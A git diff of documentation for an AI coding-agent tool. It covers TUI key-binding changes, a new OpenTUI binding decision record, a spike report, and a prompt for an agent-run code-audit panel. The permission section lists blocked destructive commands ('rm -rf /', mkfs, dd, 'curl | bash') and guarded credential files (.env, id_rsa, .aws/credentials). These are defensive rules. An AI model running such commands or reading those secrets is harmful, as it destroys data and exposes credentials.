Limits: 5 mentions per message, 200 kB per file, 400 kB total. +`@-mention` resolution and image paste are not wired on the OpenTUI send path. ## Configuration @@ -289,7 +285,7 @@ Providers and credentials are read exclusively from settings files: the global ` | `--force` | false | Override an existing run state | | `--dangerously-skip-permissions` | false | Auto-allow anything not denied by the authorization layer | | `--auto` | true (default) | Force auto mode on (workspace writes + unconstrained shell without prompts) | -| `--no-auto` | false | Start with auto mode off (ask on every consequential action); SHIFT+TAB still toggles live | +| `--no-auto` | false | Start with auto mode off (ask on every consequential action); no in-session key toggles it | | `--no-workflow` | false | Deprecated no-op; workflows are manual slash commands only | | `--help` | — | Show help | @@ -345,7 +341,7 @@ session; that tree re-write is inherent to git and left as residual cost. - `inference.error` / `reactor.error` — parse/inference and fatal errors - `reactor.done` — loop completion -Mid-run queue steering is entirely in `app.tsx`: `queuedCount` tracks `pendingQueueRef` depth; the input chrome shows `N queued · Enter steer · Alt+Enter queue` while processing. +Mid-run queue/steer/interrupt state is a pure state machine in `src/tui-opentui/session-queue.ts` (interaction contract §3): `enqueue` (kind `"queue"`) and `enqueueSteer` (kind `"steer"`) share one pending pool, drained steer-first, then queue, both FIFO within their class. The prompt hint (`src/tui-opentui/stream.ts`, `PROMPT_HINT`) reads `Enter queue · Alt+Enter steer · Ctrl+C stop`. ### Lifecycle Hooks @@ -367,7 +363,7 @@ See `docs/PLUGINS.md` for the full design. Summary: - Every installable plugin exports a `manifest` (`{ id, name, kind, description?, credentials? }`) with `kind` one of `web | command | tool`. A workflow is just a slash command, so there is no separate workflow/agent kind. - Plugins are auto-discovered from `plugins/`, `/.corbits/plugins/`, and `~/.corbits/plugins/`, plus any explicit file/dir paths in `settings.pluginPaths`. When `settings.discoverClaudePlugins` is true, plugins listed in `~/.claude/plugins/installed_plugins.json` are also loaded (install paths only; still require enable). The `/plugins` UI's "add by path" action (`a`) loads a plugin from anywhere on disk, validates its manifest, and persists the path. Discovery resolves relative imports to absolute first (`loadPluginEntry`). Project-local plugins require per-cwd trust (`~/.corbits/trust/.json`); path plugins use global path trust (`~/.corbits/trust/path-plugins.json`) so they keep working across project directories. Untrusted origins load metadata-only until granted. -- **Explicit enable:** nothing is wired in until `settings.plugins[id].enabled` is true. `command` → `registerCommandPlugins` registers slash commands (live on enable); `tool` → `resolveToolPlugins` instantiates `createToolPlugin(credentials)` and appends the tools to the posix toolset assembled in `src/tui/runner.tsx` (via `tools.ts` helpers). `web` → `web_search`/`web_fetch` are now always-on core built-ins (`src/tools/web-search.ts`, `src/tools/web-fetch.ts`), not plugin-backed; a discovered `kind: "web"` plugin is retained for brand-display resolution only (`resolveWebProviderFromPlugins`/`webBrand` in `src/web/plugin-provider.ts`) and no longer supplies the tool implementation. +- **Explicit enable:** nothing is wired in until `settings.plugins[id].enabled` is true. `command` → `registerCommandPlugins` registers slash commands (live on enable); `tool` → `resolveToolPlugins` instantiates `createToolPlugin(credentials)` and appends the tools to the posix toolset assembled in `src/tui/runner.ts` (via `tools.ts` helpers). `web` → `web_search`/`web_fetch` are now always-on core built-ins (`src/tools/web-search.ts`, `src/tools/web-fetch.ts`), not plugin-backed; a discovered `kind: "web"` plugin is retained for brand-display resolution only (`resolveWebProviderFromPlugins`/`webBrand` in `src/web/plugin-provider.ts`) and no longer supplies the tool implementation. - **Tool consent:** a `tool` plugin runs in-process, so it is wired in only when enabled AND `consented`. The `/plugins` UI prompts a one-time y/n consent recorded in `settings.plugins[id].consented`. - Configure via `/plugins`, which writes `settings.plugins` (enabled / consented / credentials), `settings.web`, and `settings.pluginPaths` to the global settings file. Credentials live in the global file because it carries secrets — the project-local settings file rejects credential keys. When a web plugin is active its tool calls render under its brand (e.g. "Exa Search"). Example: `{ "web": "exa", "plugins": { "exa": { "enabled": true, "credentials": { "apiKey": "..." } } } }`. @@ -391,7 +387,7 @@ Corbits Code v0.3 memory and stall hardening is implemented under `src/`, `tests |---|---| | **Status** | Not applicable on the default path; deferred until real audit persistence is enabled | | **Risk** | A live audit collector that buffers full tool results in memory until `flush()` on checkpoint/shutdown can grow without bound on long, checkpoint-sparse runs. | -| **Why Corbits Code-only scope cannot close it** | Production agent setup wires `noopAuditStore()` from `@intx/agent/testing` in `src/tui/runner.tsx` and `src/subagent/index.ts`. No `AuditCollector` from `@intx/inference` is instantiated, so bounding `completed` retention in `audit-collector` does not change shipped behavior today. | +| **Why Corbits Code-only scope cannot close it** | Production agent setup wires `noopAuditStore()` from `@intx/agent/testing` in `src/tui/runner.ts` and `src/subagent/index.ts`. No `AuditCollector` from `@intx/inference` is instantiated, so bounding `completed` retention in `audit-collector` does not change shipped behavior today. | | **Upstream owner** | `@intx/inference` audit collector (`audit-collector` module): opportunistic flush or capped result bodies while preserving metadata. | | **Future Corbits Code work** | If settings later select a persistent audit store, add a bounded wrapper or configuration in `src/` and re-run hardening tests; until then, document the noop path only. | @@ -414,7 +410,7 @@ Run all three before declaring work complete. - **`tests/fixtures/`** holds fixture repos and comparison assets (e.g. `demo-comparison/`, `multi-file-service/`). - **`tests/integration/`** holds the reactor permission / multi-turn harness (scripted models via `@intx/inference-testing`). **`tests/e2e/`** (fixture-repo runs) is still planned. Until e2e exists, broader harness coverage also lives in co-located `*.test.ts` files and `tests/unit/`. - **Capability evals** (`evals/capability/`) are **not** the integration harness: they drive the product path (`corbits exec` / `runExec`) with real models against fixture copies and objective `verify.sh` graders. Case format + loader tests live under `evals/capability/`; run with `bun run eval:capability` (see `evals/capability/README.md`). Use `--baseline` to detect improve/regress across models or commits. -- **TUI tests** use `ink-testing-library` with mock `EventEmitter`s to simulate real-time event streams; they verify stream-hook accumulation, event-log formatting/filtering, keyboard handling, and cost formatting. `bun run test:tui` preloads `tests/setup/tui-preload.ts`, which mocks `yoga-layout` onto its TLA-free `/load` entry point. Under Bun 1.3.14, `--isolate`'s fresh-global-per-file evaluation hits a TLA/TDZ regression (fixed on Bun's `main` via oven-sh/bun#32437, not yet in a stable release) that leaves `ink`'s default `yoga-layout` import in its temporal dead zone, crashing every TUI test file; the preload works around it without giving up `--isolate`'s per-file timer/handle isolation, which the TUI tests rely on. Drop the preload once a stable Bun release ships that fix. +- **TUI tests** are co-located `*.test.ts` files under `src/tui/` and `src/tui-opentui/` (e.g. `shell.test.ts`, `runner-host.test.ts`, `stream.test.ts`), run as part of `bun test` along with everything else; there is no separate `test:tui` script or test-setup preload. ## Deployment diff --git a/docs/PLUGINS.md b/docs/PLUGINS.md index e91706090..41e4ec293 100644 --- a/docs/PLUGINS.md +++ b/docs/PLUGINS.md @@ -90,7 +90,7 @@ Five mechanisms, three loading models, one manifest that only governs one kind. | Mechanism | Entry contract | Loads via | Config | Manifest | UI | |---|---|---|---|---|---| -| ToolPlugin (`@intx/tools-posix`) | `ToolPlugin` | wired in `src/tui/runner.tsx` / `tools.ts` | — | no | no | +| ToolPlugin (`@intx/tools-posix`) | `ToolPlugin` | wired in `src/tui/runner.ts` / `tools.ts` | — | no | no | | WorkflowPlugin | `plugin` / default | `settings.workflowPlugins: string[]` → `loadWorkflowPlugins` | specifier array | no | no | | AgentPlugin | `plugin` / default | `settings.agentPlugins: string[]` → `loadAgentPlugins` | specifier array | no | no | | CommandPlugin | `commandPlugin` | directory discovery | discovery only | no | no | @@ -102,7 +102,7 @@ Concrete problems, with file references: *specifier arrays*; command/web load from *directory discovery* (plus the new `pluginPaths`). Same concept, two code paths. 2. **A dead path.** `src/plugins/loader.ts` captures `workflowPlugin` from a - discovered module, but `src/tui/runner.tsx` only registers `commandPlugin` + discovered module, but `src/tui/runner.ts` only registers `commandPlugin` from discovered modules — a discovered workflow plugin is silently dropped. 3. **Manifest governs only web.** `kind: "workflow" | "command"` exist in the type (`src/plugins/manifest.ts`) but nothing routes by them; command plugins @@ -233,7 +233,7 @@ shape. - `kind: "tool"` plugins export `createToolPlugin(credentials)` and contribute posix `ToolPlugin`s, resolved in `src/plugins/tool-plugins.ts` and wired into - the toolset in `src/tui/runner.tsx` and `tools.ts` (appended last, so they cannot + the toolset in `src/tui/runner.ts` and `tools.ts` (appended last, so they cannot shadow core middleware). - A tool plugin is wired in only when **enabled AND consented**. Enabling one in `/plugins` prompts a one-time y/n consent recorded in `settings.plugins[id]`. diff --git a/docs/PRODUCT.md b/docs/PRODUCT.md index edaf2e282..c1345cc89 100644 --- a/docs/PRODUCT.md +++ b/docs/PRODUCT.md @@ -23,7 +23,7 @@ Existing coding agents stall. They get stuck in thinking loops, read files endle 5. **Resume capability** — Runs persist to a git-backed store and resume from the last point after interruption. 6. **Legible loop** — A live event log, working-tree diff panel, plan tracker, and real-time cost meter show what happened, when, and why. 7. **Operator-in-the-loop** — The agent can call `ask_operator` to pause and ask a clarifying question; the operator answers from a modal (TUI) or via stdin when the product agent runs under `corbits exec`. -8. **Mid-run steering** — Two modes while the agent is running: **Enter** interrupts the current run immediately and starts a new turn with your message; **Alt+Enter** queues the message for delivery at the next turn boundary without stopping the current run. A badge on the input shows the count of queued messages. A hint line in the input area makes both options discoverable. +8. **Mid-run steering** — Two modes while the agent is running: **Enter** queues the message for delivery at the next turn boundary without stopping the current run; **Alt+Enter** steers by interrupting the current run immediately and starting a new turn with your message. **Ctrl+C** stops the run outright. A badge on the input shows the count of queued messages. A hint line in the input area (`Enter queue · Alt+Enter steer · Ctrl+C stop`) makes the options discoverable. 9. **Session mode (TUI)** — **Single-agent** keeps one primary loop on the wire (no `task` / `search_agents` tools). **Orchestrator** is for chatting with the top agent while it delegates via `task` and manages parallel sub-agents. On first launch, Corbits Code asks once; **Enter** saves to global settings (highlight defaults to single-agent; **Ctrl+C** skips save, runs orchestrator this session only, and the prompt returns on later launches until you save). **Settings → Session** can change global or per-repo defaults, but mode takes effect on the **next** session start (unlike `/model` provider switches). The `exec` path uses the same `sessionMode` resolution as the TUI (global + per-repo settings; defaults to orchestrator when unset). ## User Experience @@ -36,6 +36,13 @@ $ corbits "Add JWT auth to the API" A full-screen terminal interface: a pinned header (session title and workflow progress), a scrollable event log, modals for permission prompts and operator questions, and a chat input for follow-up turns. +**Layout and interaction contracts** (OpenTUI is the shipping shell): + +- Layout constitution: `docs/tui-layout-constitution.md` (chrome budget, geometry ownership, kill list) +- Interaction contract: `docs/tui-interaction-contract.md` (queue / steer / interrupt, keys, palette) +- Migration cutover: `docs/tui-migration-cutover.md` +- Epic plan: `docs/plans/tui-layout-scroll-platform.md` · product brief: `briefs/tui-rebuild-opentui.md` + ### Exec mode (non-TUI product path) ```bash @@ -44,7 +51,7 @@ $ corbits exec "Add JWT auth to the API" $ corbits run "Add JWT auth to the API" ``` -Same directors, tools, permissions, MCP, plugins, and hooks as the TUI — without the Ink shell. The exec bootstrap is a deliberate fork of the TUI path (not a shared factory yet); see `docs/ARCHITECTURE.md` “Exec Runner” for intentional deltas (no workflow controller or goal governor; single primary send; non-interactive permission gate). Compaction continuation matches TUI so long runs do not stall after compact. Streams assistant text to stdout for scripts and CI. Non-interactive by default: actions that need operator approval are denied unless `--dangerously-skip-permissions` is set (or auto mode covers them). `ask_operator` reads a single line from stdin when available. +Same directors, tools, permissions, MCP, plugins, and hooks as the TUI — without the OpenTUI shell. The exec bootstrap is a deliberate fork of the TUI path (not a shared factory yet); see `docs/ARCHITECTURE.md` “Exec Runner” for intentional deltas (no workflow controller or goal governor; single primary send; non-interactive permission gate). Compaction continuation matches TUI so long runs do not stall after compact. Streams assistant text to stdout for scripts and CI. Non-interactive by default: actions that need operator approval are denied unless `--dangerously-skip-permissions` is set (or auto mode covers them). `ask_operator` reads a single line from stdin when available. Local multi-model capability checks use this path (`bun run eval:capability`); see `evals/capability/README.md`. @@ -61,7 +68,7 @@ Continues from the last saved state in the working directory. - **Tiered permission gate** — Read-only tools (`read_file`, `search_files`, `grep`, `list_dir`) run freely. Every consequential tool (`write_file`, `edit_file`, `run_shell`, …) is gated. The operator can Allow Once or Allow Always (scoped to a file, a directory, or a command shape); "Allow Always" choices persist per working directory so repeat actions don't interrupt flow. - **Secret guard** — Path-keyed tools (`read_file`, `write_file`, …) hard-deny sensitive files (`.env`, `id_rsa`, `*.pem`, `.aws/credentials`, `.ssh/*`, `.git-credentials`, and similar), even with approval or `--dangerously-skip-permissions`. Template files like `.env.example` are exempt. Shell commands that *reference* those paths (e.g. `bun --env-file=.env.staging run …`, `cat .env`) require explicit operator approval and never auto-run in auto mode; once approved, they proceed. Tool-result scrubbing still redacts credential-shaped output that reaches the transcript. - **Catastrophic-command deny** — Destructive shell patterns that target system roots (`rm -rf /`, home, `/etc`, …), plus `mkfs`, `dd`, `sudo`, fork bombs, `curl | bash`, force-push, … are blocked before they run. Recursive delete of ordinary workspace paths is not hard-denied but requires operator approval (never auto in auto mode). -- **Constrained auto mode** — Default is on (`auto = true`). Pass `--no-auto` to start in ask mode, or press **SHIFT+TAB** in the TUI to toggle (enabling prints a one-line envelope reminder). Auto mode auto-approves workspace file writes/edits/deletes and unconstrained shell without per-action prompts, but it is not a free-for-all: +- **Constrained auto mode** — Default is on (`auto = true`). Pass `--no-auto` to start in ask mode, or `--auto` to force it on; there is currently no in-session key to toggle it. Auto mode auto-approves workspace file writes/edits/deletes and unconstrained shell without per-action prompts, but it is not a free-for-all: - **Denied** (must use `write_file` / `edit_file`): shell file mutations via output redirection, `tee`, `sed -i` / `perl -i`, interpreter inline programs or heredocs. - **Still asks**: dependency installs and remote runners (npm/yarn/pnpm/bun, pip, cargo, go, brew, `npx`/`bunx`, …), recursive `rm`, git worktree add/remove/prune (list is fine), shell that references sensitive paths, and opaque unparseable wrappers (variable expansion or command substitution). - **Wrapper peel**: `bash`/`sh`/`zsh -c`, `xargs`, and transparent prefixes (`env`, `nice`, `timeout`, …) are expanded so the same deny/ask rules see the inner payload. diff --git a/docs/adr/opentui-binding.md b/docs/adr/opentui-binding.md new file mode 100644 index 000000000..41a2f318d --- /dev/null +++ b/docs/adr/opentui-binding.md @@ -0,0 +1,125 @@ +# ADR: OpenTUI binding — Solid + core + keymap + +**Status:** Accepted +**Date:** 2026-08-05 +**Evidence:** `docs/plans/opentui-spike-report.md` +**Spike packages:** `@opentui/core@0.5.1`, `@opentui/solid@0.5.1` (Bun 1.3.14, darwin arm64) + +--- + +## Decision + +**Use Solid + core + keymap** as the OpenTUI binding stack for the Corbits TUI migration: + +| Layer | Package / API | Role | +|---|---|---| +| **UI composition** | `@opentui/solid` | Declarative shell, chrome zones, stream surfaces | +| **Imperative control** | `@opentui/core` class API (`*Renderable`) | Scroll, focus leases, headless test renderer | +| **Key chords** | `@opentui/keymap` (next packaging step) | Host mapping for Enter / Alt+Enter / Ctrl+C and app chords | + +Do **not** adopt React/`@opentui/react` as the production binding. Do **not** ship dual long-term bindings (Solid and React). Core-only without a component binding is rejected for application UI. + +--- + +## Context + +Corbits Code’s interactive surface is Ink/React today. The layout/scroll platform plan locks OpenTUI as the substrate after a GO spike. The spike proved install, native FFI render, flex mini-shell, sticky ScrollBox, focus leases, and distinct key shapes under Bun. Binding choice was explicitly deferred to this ADR. + +Constraints that shape the choice: + +- Migration is a **branch hard cutover** — no dual-release Ink + OpenTUI, and no dual OpenTUI component bindings long-term. +- Product needs dense streaming UIs (transcript working set, sticky follow, scroll-up pin) and reliable focus leases (prompt vs scroll). +- Queue / steer / interrupt chords are locked product behavior: Enter = queue, Alt+Enter = steer, Ctrl+C = interrupt. Binding must preserve distinguishable key events. +- OpenCode (peer production stack) uses Solid on OpenTUI; aligning reduces unknown surface area. +- Spike did **not** exercise the React binding; any React claim would be unevidenced. + +--- + +## Options + +### A. Solid + core + keymap (chosen) + +**Spike evidence** + +- `@opentui/solid` installs and exports `render` / `testRender`. +- Core mini-shell + headless suite green (16/16): sticky stream, scroll-up pin, return-to-bottom, focus leases, Enter submit path. +- Key shapes proven on core `keyInput`: Enter = `return`; Alt+Enter = `return` + `meta`; Ctrl+C = `c` + `ctrl`. +- Class API reliable for imperative scroll/focus; construct/VNode path broke `scrollTop` once — prefer class API for those leases. +- Aligns with OpenCode’s production peer stack. +- Install warned `incorrect peer dependency solid-js@1.9.14` but resolved; pin a compatible peer when productionizing. + +**Tradeoffs** + +- Team leaves Ink/React muscle memory for application UI (acceptable under hard cutover). +- Needs `jsxImportSource: "@opentui/solid"` and Bun preload (`@opentui/solid/preload` via `bunfig.toml`). +- `@opentui/keymap` was **not** installed in the spike; treat as the next packaging/wiring item when host chords land — not a reason to pick React or core-only. + +### B. React + core (`@opentui/react`) + +**Spike evidence** + +- **Not exercised.** Docs-only path: `createRoot(renderer)` + `@opentui/react` jsxImportSource. +- Closest to current Corbits Ink/React habits; higher render-cost risk than Solid for dense streams (spike note, not measured here). + +**Why rejected** + +- No spike pass/fail for layout, sticky scroll, focus, or keys under React. +- Choosing React would reopen the binding without evidence and diverge from the OpenCode-aligned path the GO verdict already validated for Solid. +- Revisit only if a future spike proves React parity and team velocity clearly favors React reuse; do not block migration on that sample. + +### C. Core-only (no Solid/React component binding) + +**Spike evidence** + +- Core alone proved the mini shell and all headless checkpoints via class renderables. + +**Why rejected for application UI** + +- Application shell, chrome zones, and stream surfaces need a component model and fine-grained updates; hand-building the full product UI on bare renderables is a maintainability dead end. +- Core remains **required** underneath Solid for scroll/focus leases and headless tests — core-only is wrong as the sole application binding, not as a dependency. + +--- + +## Consequences + +### For implementers (migration branch) + +1. **Default stack:** compose UI in Solid; reach for `@opentui/core` class renderables when controlling scroll position, sticky pause/resume, and focus leases. +2. **Package setup (migration branch only — not root until cutover policy says so):** + - `@opentui/core`, `@opentui/solid`, and (when wiring chords) `@opentui/keymap` + - Compatible `solid-js` peer pin (resolve the 1.9.x peer warning at productionize time) +3. **TypeScript / Bun:** + - `jsxImportSource: "@opentui/solid"` + - Preload `@opentui/solid/preload` in `bunfig.toml` for the migration package/app entry +4. **Imperative scroll convention:** use the class API (`ScrollBoxRenderable`, etc.). Avoid construct-factory / VNode proxy paths for `scrollTop` and related control after the spike regression. +5. **Keys:** identity for Enter is `return` (not `enter`) on raw `keyInput`. Alt+Enter = `return` with `meta` or `option`. Ctrl+C = `c` with `ctrl`. Prefer keymap for host chords once packaged; keep Alt+Enter on the key path so focused `InputRenderable` does not treat it as submit. +6. **Tests:** continue using core headless `createTestRenderer` for layout/key regression without a host TTY. + +### Non-goals + +- No dual long-term bindings (Solid application UI and React application UI). +- No production React binding without a new spike that exercises layout, sticky scroll, focus, and keys. +- No OpenTUI install at repo root as part of this decision record; packaging lands on the migration branch per cutover plan. +- No Windows or Linux/musl certification in this ADR (spike residual risk; CI matrix later). + +### Skills / docs impact + +- Migration and TUI skills should teach Solid + OpenTUI patterns, not Ink/React component APIs, for new shell work. +- Layout constitution and interaction contract remain binding for geometry and chords; this ADR only locks the renderer binding stack. + +### Residual risks (from spike, not reopened here) + +- `@opentui/keymap` not yet installed or proven in-tree. +- Solid peer pin warning. +- Native dylib packaging for standalone/Homebrew and CI optional-deps matrix (darwin, linux glibc + musl). +- Multi-hour stream performance not measured. + +--- + +## References + +- Spike report (GO): `docs/plans/opentui-spike-report.md` +- Layout/scroll platform plan: `docs/plans/tui-layout-scroll-platform.md` +- Layout constitution: `docs/tui-layout-constitution.md` +- Interaction contract: `docs/tui-interaction-contract.md` +- Product brief: `briefs/tui-rebuild-opentui.md` diff --git a/docs/audit-fleet-prompt.md b/docs/audit-fleet-prompt.md new file mode 100644 index 000000000..2526ee2d9 --- /dev/null +++ b/docs/audit-fleet-prompt.md @@ -0,0 +1,128 @@ +# Audit fleet prompt + +Paste as the task for an orchestrating agent. It spawns a review panel over the +codebase's own capabilities and reports back. Adjust the scope line before use. + +--- + +You are orchestrating a standing audit of Corbits Code's own capabilities. The +goal is not to ship a feature — it is to find out what is quietly wrong, what is +about to break, and what has drifted from what we believe about it. + +**Scope for this run:** + +## Ground rules for every agent you spawn + +Put these in each agent's prompt verbatim. They are not boilerplate; each one +was bought with real time. + +**Read-only on git.** Do not run `git checkout`, `switch`, `stash`, `reset`, +`clean`, `add`, `commit`, or `push`. Other agents share this working tree, and a +`stash` has stranded work here before. Read history with `git log` / `git show +:`. + +**Verify by running, not by reading.** A green suite is not evidence. On this +codebase, every genuine defect of the last cycle was found by running the app or +capturing the pty byte stream, and every false finding came from trusting a +document. If a claim can be executed, execute it. + +**Distinguish VERIFIED from SUSPECT, per finding.** A suspicion clearly labelled +is useful. A suspicion stated as fact wastes a day and burns the reviewer's +credibility for the findings that were real. + +**Do not trust documents, including ours.** A readiness doc in this repo +recently produced four false blocking findings and a formal do-not-ship verdict; +all four had been fixed months earlier. If a doc and the code disagree, the code +wins, and the doc is itself a finding. + +**Assume tests may guard the wrong path.** We shipped a bug where the test drove +`pushToolCall`/`pushToolResult` while the app ran `applyToolResult` — the test +asserted correct behavior on code that never executes. When a test covers a +finding you believe is real, check which code path it actually exercises before +concluding the finding is wrong. + +**Watch for silent no-match.** Bindings, dispatch tables, and event channels +that fail by doing nothing are this codebase's most common defect shape. We have +found: four emitted event channels with zero listeners, five help rows +describing behavior that did not exist, and a keybinding that never matched. +None of them errored. None were caught by tests. + +## The panel — spawn these in parallel + +Give each its own prompt. Do not let them duplicate scope. + +**greybeard — architecture and the long term.** Is each abstraction sound, or +does it encode today's decisions so tightly that the next change fights it? +Where is ownership of a constraint split across layers, so an invariant is +stated in one place and violated in another? What will hurt in six months? +Explicitly ask it to separate "must fix now" from "will hurt later" — and to +argue against large refactors close to a release, since a rewrite of the +most-exercised file is how a good release becomes a bad week. + +**critique — correctness and completeness.** Find defects; do not fix them. For +each: file, line, what breaks, and the concrete input or sequence that triggers +it. Point it at error paths, disposal, double-dispose, resize mid-overlay, a +source throwing mid-render, and anything whose state is valid mid-stream but +wrong on screen. + +**neckbeard — hygiene, and refactor proposals.** This is the agent that files +refactor issues. Let it be pedantic; in terminal and permission code the fiddly +details *are* the product. Unicode width, escape sequences, off-by-ones, type +escape hatches, boundary validation, naming and comment drift. **Explicitly +authorize it to propose refactors as Linear issues** rather than only complain — +one issue per proposal, with the seam it would cut along, what it buys, and what +it risks. Require it to separate genuine defects from taste, and tell it not to +suggest rewriting anything in Rust. + +**gaasbot (CTO) — risk and sequencing.** Not a code review. Given what the others +find, what actually blocks a release, what ships with a note, and what is filed? +Ask it directly what we are most likely getting wrong that nobody raised. Tell +it plainly that you would rather hear "do not ship" now than at minute fifty-five. + +**bruckheimer — the person using it.** Not a code review either. Can a new user +get through the first ninety seconds? Which affordances are discoverable and +which exist only in a file nobody reads? What state is the user left in when +something fails — do they know what to press? Read the copy actually shown on +screen and name specific strings that should change and what they should say. + +## What each agent must return + +- Findings ranked: blocking, should-fix, file-for-later. +- Each concrete enough for another agent to act on with no follow-up questions. +- Evidence for anything claimed as verified — the command run, the bytes + captured, the frame rendered. +- An explicit statement of what it did **not** cover, so gaps are visible rather + than assumed closed. + +Tell them a short honest review beats a padded one, and that "this is genuinely +fine" is a useful finding when it is true. + +## Your job as orchestrator + +1. **Do not relay findings unverified.** Check the load-bearing ones yourself + before acting. A CTO-level verdict here rested on a stale doc; four of its + five blocking claims fell apart under a five-minute grep. +2. **Dedupe across agents** — the same defect will arrive under different names. +3. **File what is not being fixed now**, with enough context that the next + person does not re-derive it. An unfiled finding is a lost finding. +4. **Route fixes to agents that own disjoint files**, and say who owns what. Two + agents editing one file will silently overwrite each other; that has already + cost a re-apply here. +5. **Report honestly.** If the suite is red, say so with the number. If a fix is + mitigation rather than a fix, say which. If you were wrong earlier, correct it + in a sentence and move on. + +## Known traps in this codebase + +Include whichever apply to the scope: + +- `bun test` runs `vendor/intx-inference`; CI runs `bun test ./src ./tests + ./evals`. Quote the scoped number or you will report failures that do not gate. +- Roughly forty git worktrees exist; worktree-enumerating tests fail + environmentally because of them. +- The OpenTUI headless test renderer cannot see paint, real modifier reporting, + the system clipboard, or terminal-owned selection. Whole defect classes are + invisible to it by construction. +- `Renderable.destroy()` frees only its own buffer and detaches children without + destroying them. Anything dropping a subtree must destroy it recursively. diff --git a/docs/plans/opentui-platform-wave2.md b/docs/plans/opentui-platform-wave2.md new file mode 100644 index 000000000..55cc742ab --- /dev/null +++ b/docs/plans/opentui-platform-wave2.md @@ -0,0 +1,43 @@ +# OpenTUI Platform — Wave 2 status + +**Branch:** `migration/opentui-tui` +**Date:** 2026-08-05 +**Status:** Platform skeleton landed; not wired to production CLI + +## What landed + +| Piece | Path | Notes | +|---|---|---| +| Deps | `package.json` | `@opentui/core` / `solid` / `keymap` **0.5.1** + `solid-js` | +| Geometry | `src/tui-opentui/geometry/` | Zone registry, collapse, floors (idle 12 / inset 8) | +| Focus + scroll lease | `src/tui-opentui/focus/` | overlay > observe > shell; one lease | +| List viewport | `src/tui-opentui/list-viewport.ts` | keep-active-visible windowing | +| Harness | `src/tui-opentui/harness.ts` | headless `createTestRenderer` + chords | +| App shell | `src/tui-opentui/shell.ts` | header · sticky transcript · prompt · status (core **class** API) | +| Demo | `src/tui-opentui/demo.ts` | `bun src/tui-opentui/demo.ts` on a real TTY | + +## Binding + +**core class API** for scroll/focus leases (spike: VNode ScrollBox broke `scrollTop`). Solid remains the ADR composition path for denser surfaces later; shell wave used class API to stay typecheck-clean under root React `jsxImportSource`. + +## Verify + +```bash +bun test ./src/tui-opentui +bun run typecheck +bun run build +bun run tui:opentui-smoke +``` + +## Not done (next waves) + +1. Wire shell into a migration-only entry (still no dual-release flag on main) +2. Transcript surface (long-log window, real stream host) +3. Prompt queue / steer / interrupt product wiring +4. Overlay host + list kit consumers (permissions, model picker) +5. Solid declarative chrome where it helps +6. Delete Ink only at full epic gate + +## Production entry + +`src/index.ts` / `src/tui/runner` remain **Ink**. Platform kit is importable but not the operator path yet. diff --git a/docs/plans/opentui-spike-report.md b/docs/plans/opentui-spike-report.md new file mode 100644 index 000000000..a4ea2ac99 --- /dev/null +++ b/docs/plans/opentui-spike-report.md @@ -0,0 +1,137 @@ +# OpenTUI spike report — GO / NO-GO + +**Verdict: GO** + +**Date:** 2026-08-05 +**Runtime:** Bun 1.3.14 on darwin arm64 +**Packages:** `@opentui/core@0.5.1`, `@opentui/solid@0.5.1` +**Spike tree (local only):** `tmp/opentui-spike/` +**Root `package.json`:** unchanged (no OpenTUI dependency added) + +This report is the committed evidence artifact for the TUI layout/scroll platform plan. Final binding ADR remains a downstream decision; this spike supplies inputs only. + +--- + +## 1. What was proven + +| Checkpoint | Result | Evidence | +|---|---|---| +| Install under Bun (isolated tree) | PASS | `bun add @opentui/core` → 0.5.1; native `@opentui/core-darwin-arm64` / `libopentui.dylib` | +| Native renderer via FFI | PASS | `createTestRenderer` from `@opentui/core/testing` paints memory buffer | +| Mini shell layout (header + ScrollBox + prompt) | PASS | Flex column; no manual row math; resize 60×20 → 80×12 keeps HEADER + STATUS | +| Sticky stream bottom | PASS | Seeded lines 1–50; viewport shows ~034–050 only | +| Scroll-up pin (sticky pause) | PASS | `scrollTop` held at 21 after append while scrolled up | +| Return-to-bottom | PASS | `scrollTo(MAX)` reveals appended line | +| Focus lease (prompt vs scroll) | PASS | `InputRenderable.focus()` / `ScrollBoxRenderable.focus()` both succeed | +| Enter / Alt+Enter / Ctrl+C distinct | PASS | See key shapes below | +| Input ENTER submit path | PASS | `InputRenderableEvents.ENTER` value `hello-spike` | +| Solid package loads | PASS | `@opentui/solid` exports `render` / `testRender` | +| Windows | Untested | Non-blocking for this spike | +| Linux / musl | Untested on host | Optional deps declared for x64/arm64 musl | + +Headless verifier: `tmp/opentui-spike/verify.ts` — **16/16 PASS**. +Interactive shell: `tmp/opentui-spike/index.ts` (`bun run start` on a real TTY). + +--- + +## 2. Key event shapes (actionable) + +Observed via `createTestRenderer` mock input → `renderer.keyInput` `keypress`: + +| Chord | `name` | `ctrl` | `meta` | `option` | `sequence` / `raw` | +|---|---|---|---|---|---| +| Enter | `return` | false | false | false | `\r` | +| Alt+Enter | `return` | false | **true** | false | `\u001b\r` | +| Ctrl+C | `c` | **true** | false | false | `\u0003` | + +Notes for Corbits steering/interrupt design: + +- Canonical identity for Enter is **`return`**, not `enter`. Component keybindings alias `enter` → `return`; raw `keyInput` handlers must check `return` (or both). +- Alt+Enter is cleanly separable as `name === "return" && (meta || option)`. +- On this mock/mac path Alt surfaces as **`meta: true`**, not `option: true`. Real Kitty-protocol terminals may also set `option`; match either. +- Ctrl+C is `name === "c" && ctrl`. Renderer supports `exitOnCtrlC: true` (default) or manual handling when false. +- `InputRenderable` consumes Enter for submit (`ENTER` event) when focused; app-level Alt+Enter should be handled on `keyInput` (or keymap) before/around input so it is not treated as submit. + +--- + +## 3. Binding recommendation inputs (not an ADR) + +| Binding | Spike result | DX notes | +|---|---|---| +| **Core** | Full mini shell + headless suite green | Class API (`*Renderable`) is reliable for scroll/focus. Construct factories (`ScrollBox({…})`) paint fine but VNode proxies broke `scrollTop` access in one path — prefer class API for imperative scroll control. | +| **Solid** | Install + import green; OpenCode peer uses Solid | Needs `jsxImportSource: "@opentui/solid"` + `bunfig.toml` preload `@opentui/solid/preload`. Install warned `incorrect peer dependency solid-js@1.9.14` but package resolved. Fine-grained reactivity fits stream-heavy UIs. | +| **React** | Not exercised in this spike | Docs: `createRoot(renderer)` + `@opentui/react` jsxImportSource. Closest to current Corbits Ink/React muscle memory; higher render-cost risk than Solid for dense streams. | + +**Recommended binding hint:** **Solid + core + keymap** (OpenCode-aligned), with core class API for low-level scroll/focus leases. Revisit if team velocity strongly favors React reuse; do not block GO on React sample. + +**Binding ADR (downstream of this report):** `docs/adr/opentui-binding.md` — decision **Solid + core + keymap**. + + +`@opentui/keymap` not installed in this spike; treat as next packaging/spike item when wiring host key chords. + +--- + +## 4. Packaging / FFI / platform risks + +- **Native Zig core via Bun FFI** — works on this host. Node path needs Node ≥ 26.4.0 + `--experimental-ffi` (Corbits is Bun-first; low risk). 